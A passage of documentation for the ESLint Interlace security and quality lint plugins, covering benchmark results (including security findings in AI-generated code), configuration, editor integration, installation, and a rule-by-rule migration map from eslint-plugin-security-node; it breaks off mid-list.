# Benchmarks # How we measure rule quality [#how-we-measure-rule-quality] Every rule ships with a measurable quality claim. The numbers below come from the **Interlace Linter Benchmark (ILB)** — a reproducible suite that runs against real open-source repositories, hand-labeled ground-truth fixtures, and adversarial edge cases. All results are generated from the benchmark infrastructure in this repository and are reproducible. Raw JSON artifacts live in `benchmark-results/` at the repo root. If the benchmark numbers are useful, [⭐ star the repo](https://github.com/ofri-peretz/eslint) — it's the signal that keeps this infrastructure maintained. ## Headline results [#headline-results] FP and FN stress tests across 16 security rules — 0 disagreements between expected and actual behaviour. All 414 rules are classified. The plugin-scope audit finds 0 placement violations — every rule lives in the right plugin. Every rule that ships a fixer has at least one test that asserts the corrected output — 100% fixer-output test coverage. ## Wild-corpus run (ILB-Wild, 2026-05-30) [#wild-corpus-run-ilb-wild-2026-05-30] Rules were applied to **21 real OSS repositories** spanning 1,556,266 lines of TypeScript / JavaScript. Repos include Next.js (125K LOC), Vercel AI SDK (160K LOC), Webpack (158K LOC), Twenty CRM (419K LOC), the Serverless Framework (129K LOC), and fifteen others — frameworks, CMSes, AI toolkits, and serverless tooling. | Metric | Value | | :---------------------- | ----------: | | Repos exercised | 21 / 22 | | Total LOC scanned | 1,556,266 | | Total findings | 5,437 | | Average finding density | 3.49 / KLOC | Repos marked **FP corpus** (three.js, webpack, lodash, babel, react) are included specifically because they are unlikely to have real vulnerabilities — they exist to measure false-positive rate under adversarial conditions. ## Edge-case stress test (ILB-Stress) [#edge-case-stress-test-ilb-stress] The stress test runs **57 hand-written cases** against 16 rules. Each case encodes one of three hypotheses: a confirmed true positive (TP), a false-positive guard that should stay silent (FP), or a formerly-missed true positive recovered via audit (FN). All 57 cases match expected behaviour. | Rule | TP cases | FP guards | FN recovered | All pass | | :--------------------------------------------- | :------: | :-------: | :----------: | :------: | | `secure-coding/detect-object-injection` | 1 | 3 | 1 | ✓ | | `secure-coding/no-graphql-injection` | 1 | 2 | 1 | ✓ | | `secure-coding/no-hardcoded-credentials` | 1 | 2 | 1 | ✓ | | `secure-coding/no-redos-vulnerable-regex` | 1 | 2 | 1 | ✓ | | `secure-coding/no-unsafe-deserialization` | 1 | 2 | 1 | ✓ | | `secure-coding/no-unchecked-loop-condition` | 1 | 2 | — | ✓ | | `secure-coding/no-insecure-comparison` | 1 | 2 | — | ✓ | | `node-security/no-buffer-overread` | 1 | 2 | — | ✓ | | `node-security/detect-child-process` | 1 | 1 | 1 | ✓ | | `node-security/detect-non-literal-fs-filename` | 1 | 2 | — | ✓ | | `node-security/no-ssrf` | 3 | 3 | — | ✓ | | `jwt/no-algorithm-none` | 1 | 1 | 1 | ✓ | | `jwt/no-hardcoded-secret` | 1 | 1 | 1 | ✓ | | `browser-security/no-eval` | 2 | — | 1 | ✓ | | `browser-security/no-innerhtml` | 1 | 1 | 1 | ✓ | | `pg/no-unsafe-query` | 1 | 1 | 1 | ✓ | **FP guard** — a case the rule must stay silent on (e.g. bracket access on a typed array, a parameterized SQL query, a JWT secret loaded from `process.env`). These directly target the patterns that cause false positives in the generic alternatives. **FN recovered** — a pattern that bypasses naive detection (e.g. `Object.assign` for prototype pollution, `new Function()` as an eval alias, an indirect JWT secret in a `const`). Each recovered case corresponds to a documented audit fix shipped with the rule. ## ILB-Flagship precision / recall [#ilb-flagship-precision--recall] Ground-truthed P/R/F1 numbers from hand-labeled fixtures (`benchmarks/corpus/CWE-NNN/{vulnerable,safe}`): | Rule | CWE | Precision | Recall | F1 | | :--------------------------------------- | :------ | :-------: | :----: | :--: | | `pg/no-unsafe-query` | CWE-089 | 100% | 100% | 1.00 | | `secure-coding/no-hardcoded-credentials` | CWE-798 | 100% | 100% | 1.00 | For comparison: the closest ecosystem peer on `secure-coding/no-hardcoded-credentials` scores Precision 100% / Recall 50% / F1 0.67 on the same labeled fixtures (it misses the "credential stored in a `const` before use" pattern). ## AI-generated code security (ILB-AI) [#ai-generated-code-security-ilb-ai] Static analysis matters most where code volume is exploding fastest: AI codegen. The **ILB-AI** tier generates code from frontier models and scores it with these same rules. Across **700 AI-generated functions** from five models, **63% shipped a security finding.** The per-model vulnerability rate (lower is better): | Model | Vulnerable rate | | :---------------- | --------------: | | Claude Haiku 4.5 | 48.6% | | Claude Sonnet 4.5 | 62.1% | | Gemini 2.5 Flash | 63.6% | | Claude Opus 4.6 | 65.0% | | Gemini 2.5 Pro | 72.9% | On *realistic, structured* tasks the gap narrows sharply. Running the same prompt through each vendor's CLI across four domains (NestJS, JWT, MongoDB, a general injection API) and linting both outputs is a near dead heat — 1 Gemini win, 2 ties, 1 split — and **both frontier models skip the same hardening** (algorithm allowlists, JWT `aud`/`iss` validation, query projections), because a feature prompt never names it. Frontier models avoid the *catastrophic* classes (injection, `eval`, hardcoded credentials) but consistently miss the defense-in-depth layer — exactly the negative space deterministic linting closes. Full write-ups, each with the reproducible config: * [Claude vs Gemini across 4 security domains — a dead heat, and the hardening 63% of AI code skips](https://dev.to/ofri-peretz/claude-vs-gemini-across-4-security-domains-a-dead-heat-and-the-hardening-63-of-ai-code-skips-mpp) * [Same NestJS prompt: Claude got 6 security errors, Gemini got 2](https://dev.to/ofri-peretz/i-ran-the-same-nestjs-prompt-on-claude-and-gemini-one-got-6-security-errors-heres-what-both-1fnf) * [Aggregate benchmarks lie — what 700 AI functions look like by security domain](https://dev.to/ofri-peretz/aggregate-benchmarks-lie-heres-what-700-ai-functions-look-like-by-security-domain-1hgj) ## import-next/no-cycle vs eslint-plugin-import [#import-nextno-cycle-vs-eslint-plugin-import] `import-next/no-cycle` runs head-to-head against `eslint-plugin-import`'s cycle detection on the Next.js source (131K LoC): | Metric | import-next | eslint-plugin-import | | ------------------------ | ------------------------- | -------------------- | | Cold lint time | 20.6 s | 25.9 s | | Warm lint time | 470 ms | 410 ms | | Findings (unique cycles) | 914 | 0 | | Recall vs reference | 93% (14/15 flagged files) | 0% | `eslint-plugin-import` finds zero cycles on the same codebase because it uses a fixed depth cap (default: 10) that misses deep dependency chains. `import-next/no-cycle` defaults to unlimited depth with a deduplication cache that keeps memory bounded. For full methodology and per-file breakdown, see the [import-next rule docs](/docs/imports/plugin-import-next/rules/no-cycle). ## What ILB is [#what-ilb-is] The **Interlace Linter Benchmark** is an open measurement framework built into this monorepo. It has four tiers: * **ILB-Stress** — adversarial unit tests for FP/FN edge cases (this page, above). * **ILB-Wild** — runs the full rule set against real OSS repositories at pinned commits. Numbers are reproducible: `npm run ilb:wild`. * **ILB-Flagship** — latency + head-to-head overlap on 10 flagship rules against competitor plugins on the same repos. Includes cold vs warm (ESLint cache) timing. * **ILB-AI** — generates code from frontier models (Claude, Gemini) and scores it with the rule set; the AI-codegen security tier above. * **ILB-Arena / ILB-Juliet** — ground-truth P/R/F1 from hand-labeled CWE fixtures. All bench outputs are checked in to `benchmark-results/` as JSON. The raw SARIF for the public submission is at `benchmark-results/interlace-2026-05-09.sarif`. The benchmark infrastructure is intentionally public. If you want to run the same numbers against your own plugin, the corpus and methodology are in `benchmarks/`. # Configuration ESLint Interlace is a collection of independent plugins. Each plugin provides its own `recommended` and `strict` configs. The examples below show `eslint-plugin-browser-security` but apply to all Interlace plugins. ## Configuration Presets [#configuration-presets] Each Interlace plugin provides preset configurations: Balanced rules for most projects. Security errors, quality warnings. Maximum security. All rules as errors. For high-security applications. ### Using Presets [#using-presets] ```js title="eslint.config.js" import browserSecurity from 'eslint-plugin-browser-security'; import secureCoding from 'eslint-plugin-secure-coding'; export default [ // Use recommended preset from each plugin browserSecurity.configs.recommended, secureCoding.configs.recommended, // Or use strict preset for maximum security // browserSecurity.configs.strict, // secureCoding.configs.strict, ]; ``` ## Custom Configuration [#custom-configuration] ### Multi-Plugin Configuration [#multi-plugin-configuration] Combine multiple plugins for comprehensive coverage: ```js title="eslint.config.js" import browserSecurity from 'eslint-plugin-browser-security'; import jwt from 'eslint-plugin-jwt-security'; import secureCoding from 'eslint-plugin-secure-coding'; import conventions from 'eslint-plugin-conventions'; export default [ // Security plugins browserSecurity.configs.recommended, jwt.configs.recommended, secureCoding.configs.recommended, // Quality plugins conventions.configs.recommended, // Custom rule overrides { rules: { 'browser-security/no-insecure-url': 'error', 'jwt/no-hardcoded-secret': 'error', }, }, ]; ``` ### Rule Severity Levels [#rule-severity-levels] | Severity | Meaning | When to Use | | --------- | -------- | ----------------------------------- | | `'off'` | Disabled | Rule not applicable to your project | | `'warn'` | Warning | Review needed, doesn't fail CI | | `'error'` | Error | Must be fixed before merge | ### File-Specific Rules [#file-specific-rules] Apply different rules to different file types: ```js title="eslint.config.js" import browserSecurity from 'eslint-plugin-browser-security'; import secureCoding from 'eslint-plugin-secure-coding'; import jwt from 'eslint-plugin-jwt-security'; import pg from 'eslint-plugin-postgresql-security'; export default [ browserSecurity.configs.recommended, secureCoding.configs.recommended, jwt.configs.recommended, pg.configs.recommended, // Stricter rules for API routes { files: ['**/api/**/*.ts', '**/routes/**/*.ts'], rules: { 'pg/no-unsafe-query': 'error', 'jwt/no-algorithm-none': 'error', }, }, // Relaxed rules for tests { files: ['**/*.test.ts', '**/*.spec.ts'], rules: { 'browser-security/no-insecure-url': 'off', }, }, ]; ``` ## Ignoring Files [#ignoring-files] ### Using `ignores` Property [#using-ignores-property] ```js title="eslint.config.js" import browserSecurity from 'eslint-plugin-browser-security'; export default [ { ignores: [ 'node_modules/**', 'dist/**', 'build/**', '.next/**', 'coverage/**', ], }, browserSecurity.configs.recommended, ]; ``` ### Inline Ignore Comments [#inline-ignore-comments] ```js // eslint-disable-next-line browser-security/no-insecure-url const legacyUrl = 'http://legacy-internal-service.local'; /* eslint-disable jwt/no-hardcoded-secret */ // This is a test fixture, not a real secret const testToken = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...'; /* eslint-enable jwt/no-hardcoded-secret */ ``` Disable comments should be rare. If you're disabling rules frequently, consider adjusting your configuration instead. ## TypeScript Configuration [#typescript-configuration] ### Type-Aware Linting [#type-aware-linting] Some rules can use TypeScript type information for more accurate detection: ```js title="eslint.config.js" import browserSecurity from 'eslint-plugin-browser-security'; import tseslint from 'typescript-eslint'; export default tseslint.config(browserSecurity.configs.recommended, { languageOptions: { parserOptions: { project: './tsconfig.json', }, }, }); ``` ### Monorepo TypeScript [#monorepo-typescript] For monorepos with multiple `tsconfig.json` files: ```js title="eslint.config.js" import browserSecurity from 'eslint-plugin-browser-security'; import secureCoding from 'eslint-plugin-secure-coding'; import tseslint from 'typescript-eslint'; export default tseslint.config( browserSecurity.configs.recommended, secureCoding.configs.recommended, { languageOptions: { parserOptions: { project: ['./tsconfig.json', './packages/*/tsconfig.json'], tsconfigRootDir: import.meta.dirname, }, }, }, ); ``` ## Shared Team Configuration [#shared-team-configuration] ### Create a Shared Package [#create-a-shared-package] ```js title="packages/eslint-config-mycompany/index.js" import browserSecurity from 'eslint-plugin-browser-security'; import secureCoding from 'eslint-plugin-secure-coding'; import jwt from 'eslint-plugin-jwt-security'; import conventions from 'eslint-plugin-conventions'; export default [ // Security plugins browserSecurity.configs.strict, secureCoding.configs.strict, jwt.configs.strict, // Quality plugins conventions.configs.recommended, { rules: { // Company-wide overrides 'jwt/no-algorithm-none': 'error', 'browser-security/no-insecure-url': 'error', }, }, ]; ``` ### Use in Projects [#use-in-projects] ```js title="apps/my-app/eslint.config.js" import companyConfig from 'eslint-config-mycompany'; export default [ ...companyConfig, { // Project-specific additions }, ]; ``` ## Next Steps [#next-steps] Migrate from legacy .eslintrc format Set up your IDE for real-time linting # Editor Integration ## VS Code [#vs-code] ### Install ESLint Extension [#install-eslint-extension] Install the official [ESLint extension](https://marketplace.visualstudio.com/items?itemName=dbaeumer.vscode-eslint) for VS Code. ### Configure Settings [#configure-settings] Add to your `.vscode/settings.json`: ```json title=".vscode/settings.json" { "editor.codeActionsOnSave": { "source.fixAll.eslint": "explicit" }, "eslint.validate": [ "javascript", "javascriptreact", "typescript", "typescriptreact" ], "eslint.useFlatConfig": true, "eslint.workingDirectories": [{ "mode": "auto" }] } ``` ### Recommended Extensions [#recommended-extensions] For the best experience, also install: * **Error Lens** — Inline error display * **ESLint** — Core linting * **Prettier** — Code formatting (configure to not conflict) ```json title=".vscode/extensions.json" { "recommendations": [ "dbaeumer.vscode-eslint", "usernamehw.errorlens", "esbenp.prettier-vscode" ] } ``` ## Cursor AI [#cursor-ai] Cursor AI has built-in ESLint support and leverages Interlace's structured metadata for accurate fixes. ESLint Interlace provides CWE, OWASP, and CVSS metadata that Cursor AI uses to generate precise security fixes—no hallucinations. ### Enable ESLint [#enable-eslint] 1. Open **Settings** (⌘ + ,) 2. Search for "ESLint" 3. Ensure **ESLint: Enable** is checked 4. Set **ESLint: Use Flat Config** to `true` ### AI Fix Workflow [#ai-fix-workflow] When Cursor detects an Interlace security violation: 1. **Hover** over the error to see structured metadata (CWE, OWASP) 2. **Press** ⌘ + K to open AI chat 3. **Ask** "Fix this security vulnerability" — Cursor uses Interlace metadata 4. **Review** the suggested fix and apply ### Settings [#settings] ```json title=".cursor/settings.json" { "eslint.enable": true, "eslint.useFlatConfig": true, "editor.codeActionsOnSave": { "source.fixAll.eslint": "explicit" } } ``` ## Antigravity IDE [#antigravity-ide] Antigravity natively integrates with ESLint Interlace for autonomous security fixes. ### Configuration [#configuration] Antigravity automatically detects your `eslint.config.js` and applies Interlace rules. No additional configuration needed. ### Agent Workflow [#agent-workflow] When working with Antigravity: 1. Antigravity reads ESLint diagnostics including Interlace metadata 2. Security violations are prioritized in the agent's context 3. Fixes are applied using the structured remediation suggestions 4. The agent verifies fixes pass linting before committing Interlace provides structured JSON metadata (CWE ID, OWASP category, CVSS score) that AI agents use to understand vulnerability context and generate accurate fixes. ## WebStorm / JetBrains IDEs [#webstorm--jetbrains-ides] WebStorm, IntelliJ IDEA, and other JetBrains IDEs have built-in ESLint support. ### Enable ESLint [#enable-eslint-1] 1. Go to **Settings** → **Languages & Frameworks** → **JavaScript** → **Code Quality Tools** → **ESLint** 2. Select **Automatic ESLint configuration** 3. Check **Run eslint --fix on save** ### Flat Config Support [#flat-config-support] JetBrains IDEs automatically detect `eslint.config.js` files. Ensure you're using a recent IDE version (2024.1+) for full flat config support. ```text title="File → Settings → Languages & Frameworks → JavaScript → Code Quality Tools → ESLint" ✓ Automatic ESLint configuration ✓ Run eslint --fix on save ``` ## Neovim [#neovim] ### Using nvim-lspconfig [#using-nvim-lspconfig] ```lua title="init.lua" require('lspconfig').eslint.setup({ on_attach = function(client, bufnr) vim.api.nvim_create_autocmd("BufWritePre", { buffer = bufnr, command = "EslintFixAll", }) end, settings = { workingDirectories = { mode = "auto" }, experimental = { useFlatConfig = true, }, }, }) ``` ### Using none-ls (null-ls successor) [#using-none-ls-null-ls-successor] ```lua title="init.lua" local null_ls = require("null-ls") null_ls.setup({ sources = { null_ls.builtins.diagnostics.eslint_d, null_ls.builtins.code_actions.eslint_d, }, }) ``` ### Using conform.nvim for Formatting [#using-conformnvim-for-formatting] ```lua title="init.lua" require("conform").setup({ formatters_by_ft = { javascript = { "eslint_d" }, typescript = { "eslint_d" }, javascriptreact = { "eslint_d" }, typescriptreact = { "eslint_d" }, }, format_on_save = { timeout_ms = 500, lsp_fallback = true, }, }) ``` ## GitHub Codespaces [#github-codespaces] ### devcontainer Configuration [#devcontainer-configuration] ```json title=".devcontainer/devcontainer.json" { "name": "Node.js & ESLint Interlace", "image": "mcr.microsoft.com/devcontainers/javascript-node:20", "customizations": { "vscode": { "extensions": ["dbaeumer.vscode-eslint", "usernamehw.errorlens"], "settings": { "eslint.useFlatConfig": true, "editor.codeActionsOnSave": { "source.fixAll.eslint": "explicit" } } } }, "postCreateCommand": "npm install" } ``` ## Pre-commit Hooks [#pre-commit-hooks] ### Using Husky + lint-staged [#using-husky--lint-staged] ```bash npm install husky lint-staged --save-dev npx husky init ``` ```json title="package.json" { "lint-staged": { "*.{js,jsx,ts,tsx}": ["eslint --fix", "git add"] } } ``` ```bash title=".husky/pre-commit" npx lint-staged ``` ### Using lefthook [#using-lefthook] ```yaml title="lefthook.yml" pre-commit: parallel: true commands: eslint: glob: '*.{js,jsx,ts,tsx}' run: npx eslint --fix {staged_files} stage_fixed: true ``` ## Troubleshooting Editor Issues [#troubleshooting-editor-issues] Ensure your file is named exactly `eslint.config.js` (not `.mjs` or `.cjs` unless configured) and is in the project root. For VS Code, add `"eslint.useFlatConfig": true` to settings. 1. Restart the ESLint server (VS Code: ⌘ + Shift + P → "ESLint: Restart ESLint Server") 2. Check the ESLint output panel for errors 3. Verify the plugin is installed: `npm ls eslint-plugin-browser-security` 1. Add node\_modules to ignores 2. Use `eslint_d` for faster repeated runs 3. Consider `TIMING=1 npx eslint .` to identify slow rules ## Next Steps [#next-steps] Add linting to GitHub Actions and other pipelines Common issues and solutions # Flat Config Migration ## Overview [#overview] ESLint 9.x introduces a new "flat config" format that replaces the legacy `.eslintrc.*` files. All ESLint Interlace plugins support flat config natively. ## Migration Steps [#migration-steps] ### Remove legacy config files [#remove-legacy-config-files] Delete your existing `.eslintrc.js`, `.eslintrc.json`, or `.eslintrc.yaml` files. ### Create eslint.config.js [#create-eslintconfigjs] Create a new `eslint.config.js` file in your project root: ```js title="eslint.config.js" import browserSecurity from 'eslint-plugin-browser-security'; import secureCoding from 'eslint-plugin-secure-coding'; export default [ browserSecurity.configs.recommended, secureCoding.configs.recommended, ]; ``` ### Update package.json scripts [#update-packagejson-scripts] Ensure your lint script uses the new config: ```json title="package.json" { "scripts": { "lint": "eslint ." } } ``` ## Legacy Config Comparison [#legacy-config-comparison] ```js title="eslint.config.js" import browserSecurity from 'eslint-plugin-browser-security'; export default [ browserSecurity.configs.recommended, { rules: { 'browser-security/no-insecure-url': 'error', }, }, ]; ``` ```json title=".eslintrc.json" { "plugins": ["browser-security"], "extends": ["plugin:browser-security/recommended"], "rules": { "browser-security/no-insecure-url": "error" } } ``` # Getting Started ## What is ESLint Interlace? [#what-is-eslint-interlace] ESLint Interlace is a comprehensive ecosystem of **security and quality ESLint plugins** designed to protect your JavaScript and TypeScript applications from vulnerabilities while enforcing best practices. ESLint Interlace provides ** specialized plugins** that work independently or together. Install only what you need—each plugin is published separately on npm. ## Why Interlace? [#why-interlace] security plugins protecting against XSS, SQL injection, insecure tokens, weak cryptography, and more. quality plugins ensuring code conventions, modularity, reliability, and modern patterns. Structured metadata (CWE, OWASP, CVSS) enables AI agents to fix vulnerabilities accurately—no hallucinations. ## The Plugin Ecosystem [#the-plugin-ecosystem] Interlace lets you **choose your own coverage**—install only the plugins you need: | Approach | Example | Best For | | ----------------- | -------------------------------- | ------------------- | | **Start Small** | `eslint-plugin-browser-security` | Single focus area | | **Mix & Match** | Security + Quality plugins | Customized coverage | | **Full Coverage** | All security + quality plugins | Maximum protection | ## Quick Setup Guide [#quick-setup-guide] ### Install the plugins you need [#install-the-plugins-you-need] Pick the plugins for your use case: ```bash # Core security plugins npm install --save-dev \ eslint-plugin-browser-security \ eslint-plugin-secure-coding \ eslint-plugin-jwt-security # Quality plugins npm install --save-dev \ eslint-plugin-conventions \ eslint-plugin-reliability ``` ### Configure ESLint [#configure-eslint] Create `eslint.config.js` in your project root: ```js title="eslint.config.js" import browserSecurity from 'eslint-plugin-browser-security'; import secureCoding from 'eslint-plugin-secure-coding'; import jwt from 'eslint-plugin-jwt-security'; import conventions from 'eslint-plugin-conventions'; export default [ // Security browserSecurity.configs.recommended, secureCoding.configs.recommended, jwt.configs.recommended, // Quality conventions.configs.recommended, ]; ``` ### Run the linter [#run-the-linter] ```bash npx eslint . ``` ## Explore the Documentation [#explore-the-documentation] Detailed setup for npm, yarn, pnpm, and monorepos Presets, custom rules, and TypeScript integration Migrate from legacy .eslintrc to ESLint 9.x VS Code, Cursor AI, WebStorm, and Neovim setup ## Available Plugins [#available-plugins] ### Security Plugins [#security-plugins] Protect your application from common vulnerabilities: | Plugin | Focus Area | Rules | | ---------------------- | ----------------------------------------------- | ------------------------------------- | | **browser-security** | XSS prevention, DOM security | | | **jwt** | Token security, algorithm confusion | | | **express-security** | Express.js hardening | | | **node-security** | Server-side security patterns (includes crypto) | | | **mongodb-security** | NoSQL injection prevention | | | **pg** | PostgreSQL security | | | **secure-coding** | General injection prevention | | | **vercel-ai-security** | AI SDK safety | | | **lambda-security** | AWS Lambda security | | | **nestjs-security** | NestJS security patterns | | | **crypto** | *(Deprecated)* Merged into node-security | — | ### Quality & Architecture Plugins [#quality--architecture-plugins] Enforce best practices and maintainability: | Plugin | Focus Area | Rules | | ------------------- | ---------------------------------------- | --------------------------------- | | **import-next** | Import organization (8x faster no-cycle) | | | **conventions** | Team coding standards | | | **maintainability** | Code readability | | | **reliability** | Error handling patterns | | | **modularity** | Clean architecture | | | **operability** | Logging and metrics | | | **modernization** | ES2022+ patterns | | | **react-features** | Modern React patterns | | | **react-a11y** | React accessibility | | Ready to protect your codebase? Head to the [Installation Guide](/docs/getting-started/installation) to get started. # Installation ## Prerequisites [#prerequisites] Required for ESLint 9.x compatibility Flat config format is required ESLint Interlace requires **ESLint 9.x** with flat config. See our [Flat Config Migration](/docs/getting-started/flat-config) guide if you're upgrading. *** ## Quick Start [#quick-start] Install ESLint and your first security plugin. Choose your package manager: ### npm [#npm] secure-coding browser-security jwt node-security ```bash npm install eslint eslint-plugin-secure-coding --save-dev ``` ```bash npm install eslint eslint-plugin-browser-security --save-dev ``` ```bash npm install eslint eslint-plugin-jwt-security --save-dev ``` ```bash npm install eslint eslint-plugin-node-security --save-dev ``` ### pnpm [#pnpm] secure-coding browser-security jwt node-security ```bash pnpm add eslint eslint-plugin-secure-coding -D ``` ```bash pnpm add eslint eslint-plugin-browser-security -D ``` ```bash pnpm add eslint eslint-plugin-jwt-security -D ``` ```bash pnpm add eslint eslint-plugin-node-security -D ``` ### yarn [#yarn] secure-coding browser-security jwt node-security ```bash yarn add eslint eslint-plugin-secure-coding --dev ``` ```bash yarn add eslint eslint-plugin-browser-security --dev ``` ```bash yarn add eslint eslint-plugin-jwt-security --dev ``` ```bash yarn add eslint eslint-plugin-node-security --dev ``` Then create `eslint.config.js`: ```js title="eslint.config.js" import secureCoding from 'eslint-plugin-secure-coding'; export default [secureCoding.configs.recommended]; ``` *** ## Security Plugins [#security-plugins] Choose the plugins that match your stack: XSS prevention, DOM security, client-side vulnerabilities (50+ rules) Injection prevention, input validation (26 rules) Token security, algorithm confusion (13 rules) Server-side patterns, cryptography (31 rules) ### Database Security [#database-security] NoSQL injection prevention (19 rules) SQL injection prevention (15 rules) ### Framework Security [#framework-security] Express.js hardening (14 rules) NestJS security patterns (10 rules) Lambda & Middy security (16 rules) AI SDK security (22 rules) *** ## Quality Plugins [#quality-plugins] Fast import organization, 8x faster cycle detection (61 rules) Team coding standards (9 rules) Code readability (8 rules) Error handling patterns (8 rules) Clean architecture (7 rules) *** ## Verify Installation [#verify-installation] ```bash npx eslint --version npx eslint . ``` *** ## Next Steps [#next-steps] Configure plugins and customize rules Set up VS Code, Cursor AI, and other editors # Migrate from eslint-plugin-security-node ## Scope of this guide [#scope-of-this-guide] [`eslint-plugin-security-node`](https://www.npmjs.com/package/eslint-plugin-security-node) ships 22 rules for Node.js security linting. Its latest release is **v1.1.4, published 2024-01-03** — there have been no releases since. This page maps each of its 22 rules to the closest Interlace equivalent, or states plainly that no equivalent exists. It is a mechanical mapping, not a comparison review. > **Pinned source.** Rule IDs below were read from `require('eslint-plugin-security-node').rules` of **v1.1.4** (npm `dist-tags.latest`), retrieved from the npm registry on **2026-07-31**. If a later version ever publishes, re-verify against it. ## Coverage summary [#coverage-summary] | Status | Count | | :----------------------------- | :---- | | Direct equivalent | 13 | | Partial equivalent (see notes) | 3 | | No equivalent — gap | 6 | ## Rule-by-rule mapping [#rule-by-rule-mapping] Rule IDs in the first column are the exact keys exported by `security-node` v1.1.4 (including the upstream typo in `…-exrpress-session`). | `security-node` rule | Status | Interlace equivalent | Notes | | :--------------------------------------------------------- | :-------: | :----------------------------------------------------------------------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | `detect-absence-of-name-option-in-exrpress-session` | ✗ gap | — | No `express-session` rules in `eslint-plugin-express-security`. | | `detect-buffer-unsafe-allocation` | ✓ | [`node-security/no-unsafe-buffer-alloc`](/docs/security/plugin-node-security/rules/no-unsafe-buffer-alloc) | Both flag `Buffer.allocUnsafe()` unconditionally (CWE-908). Ours also covers `Buffer.allocUnsafeSlow()`, exempts `Buffer.allocUnsafe(n).fill(0)`, and offers a `Buffer.alloc` suggestion. Not to be confused with `node-security/no-deprecated-buffer`, which targets the deprecated `Buffer()`/`new Buffer()` constructor (CWE-676). | | `detect-child-process` | ✓ | [`node-security/detect-child-process`](/docs/security/plugin-node-security/rules/detect-child-process) | Same rule name. Related: `node-security/no-shell-injection`. | | `detect-crlf` | ✗ gap | — | Log forging (CWE-117) via user input in log calls. `secure-coding/no-pii-in-logs` targets PII exposure, not CRLF forging — different concern. | | `detect-dangerous-redirects` | ✓ | `express-security/no-user-controlled-redirect` | Flags user-controlled `res.redirect()` arguments. Browser-side counterpart: `browser-security/no-insecure-redirects`. | | `detect-eval-with-expr` | ✓ | [`node-security/detect-eval-with-expression`](/docs/security/plugin-node-security/rules/detect-eval-with-expression) | Browser-side counterpart: `browser-security/no-eval`. | | `detect-html-injection` | ✓ | [`browser-security/no-innerhtml`](/docs/security/plugin-browser-security/rules/no-innerhtml) | Non-literal `innerHTML` / DOM-injection sinks. | | `detect-improper-exception-handling` | ◐ partial | [`reliability/no-silent-errors`](/docs/quality/plugin-reliability/rules/no-silent-errors) | Upstream rule validates `process.on('uncaughtException')` handlers (non-empty callback, `process.exit` with non-zero code). No Interlace rule checks that specific contract; `no-silent-errors` covers the swallowed-error part only. | | `detect-insecure-randomness` | ✓ | [`node-security/no-math-random-crypto`](/docs/security/plugin-node-security/rules/no-math-random-crypto) | `Math.random()` in security-sensitive contexts. | | `detect-non-literal-require-calls` | ✓ | [`node-security/no-unsafe-dynamic-require`](/docs/security/plugin-node-security/rules/no-unsafe-dynamic-require) | Related: `node-security/no-dynamic-require`. | | `detect-nosql-injection` | ✓ | [`mongodb-security/no-operator-injection`](/docs/security/plugin-mongodb-security/rules/no-operator-injection) | Related: `mongodb-security/no-unsafe-where`, `mongodb-security/no-unsafe-query`. | | `detect-option-multiplestatements-in-mysql` | ✗ gap | — | No `mysql`/`mysql2` plugin. The SQL plugin (`eslint-plugin-postgresql-security`) targets PostgreSQL clients. | | `detect-option-rejectunauthorized-in-nodejs-httpsrequest` | ✓ | [`node-security/no-self-signed-certs`](/docs/security/plugin-node-security/rules/no-self-signed-certs) | Covers `rejectUnauthorized: false` in TLS/HTTPS options. | | `detect-option-unsafe-in-serialize-javascript-npm-package` | ✗ gap | — | No rule targets `serialize-javascript`'s `unsafe: true` option. `secure-coding/no-unsafe-deserialization` covers deserialization sinks, not this serialization option. | | `detect-possible-timing-attacks` | ✓ | [`node-security/no-timing-unsafe-compare`](/docs/security/plugin-node-security/rules/no-timing-unsafe-compare) | Related: `secure-coding/no-insecure-comparison`. | | `detect-runinthiscontext-method-in-nodes-vm` | ✗ gap | — | No rules for the Node.js `vm` module. | | `detect-security-missconfiguration-cookie` | ✓ | [`express-security/no-insecure-cookie-options`](/docs/security/plugin-express-security/rules/no-insecure-cookie-options) | Express cookie flags (`httpOnly`, `secure`, …). Browser-side counterpart: `browser-security/require-cookie-secure-attrs`. | | `detect-sql-injection` | ◐ partial | [`pg/no-unsafe-query`](/docs/security/plugin-postgresql-security/rules/no-unsafe-query) | Upstream rule flags string-built queries for any SQL client. `eslint-plugin-postgresql-security` (`no-unsafe-query`, `check-query-params`) covers PostgreSQL clients; string-built `mysql`/`mysql2` queries are not covered. | | `detect-unhandled-async-errors` | ◐ partial | [`reliability/no-unhandled-promise`](/docs/quality/plugin-reliability/rules/no-unhandled-promise) | Equivalent lives in a quality plugin (`eslint-plugin-reliability`), not a security plugin. | | `detect-unhandled-event-errors` | ✗ gap | — | No rule requires an `'error'` listener on `EventEmitter` instances. | | `disable-ssl-across-node-server` | ✓ | [`node-security/no-self-signed-certs`](/docs/security/plugin-node-security/rules/no-self-signed-certs) | Covers `NODE_TLS_REJECT_UNAUTHORIZED = '0'`. | | `non-literal-reg-expr` | ✓ | [`secure-coding/detect-non-literal-regexp`](/docs/security/plugin-secure-coding/rules/detect-non-literal-regexp) | Related: `secure-coding/no-redos-vulnerable-regex`, `secure-coding/no-unsafe-regex-construction`. | ## Config migration [#config-migration] The 13 direct-mapping rules span five plugins. Install the ones your codebase needs: ```bash npm install --save-dev eslint-plugin-node-security eslint-plugin-secure-coding eslint-plugin-express-security eslint-plugin-mongodb-security eslint-plugin-browser-security ``` Add `eslint-plugin-postgresql-security` or `eslint-plugin-reliability` if the partial rows above apply to you. ```json title=".eslintrc.json" { "plugins": ["security-node"], "extends": ["plugin:security-node/recommended"] } ``` ```js title="eslint.config.js" import nodeSecurity from 'eslint-plugin-node-security'; import secureCoding from 'eslint-plugin-secure-coding'; import expressSecurity from 'eslint-plugin-express-security'; import mongodbSecurity from 'eslint-plugin-mongodb-security'; import browserSecurity from 'eslint-plugin-browser-security'; export default [ nodeSecurity.configs.recommended, secureCoding.configs.recommended, expressSecurity.configs.recommended, mongodbSecurity.configs.recommended, browserSecurity.configs.recommended, ]; ``` Still on `.eslintrc`? Do the [flat-config migration](/docs/getting-started/flat-config) first — all Interlace plugins support flat config natively (legacy configs are also exported). ## If you depend on one of the 6 gaps [#if-you-depend-on-one-of-the-6-gaps] The gaps are listed above exactly as measured; nothing here substitutes for them today. Options: * Keep `eslint-plugin-security-node` installed **alongside** the Interlace plugins, enabling only its gap rules (`detect-crlf`, 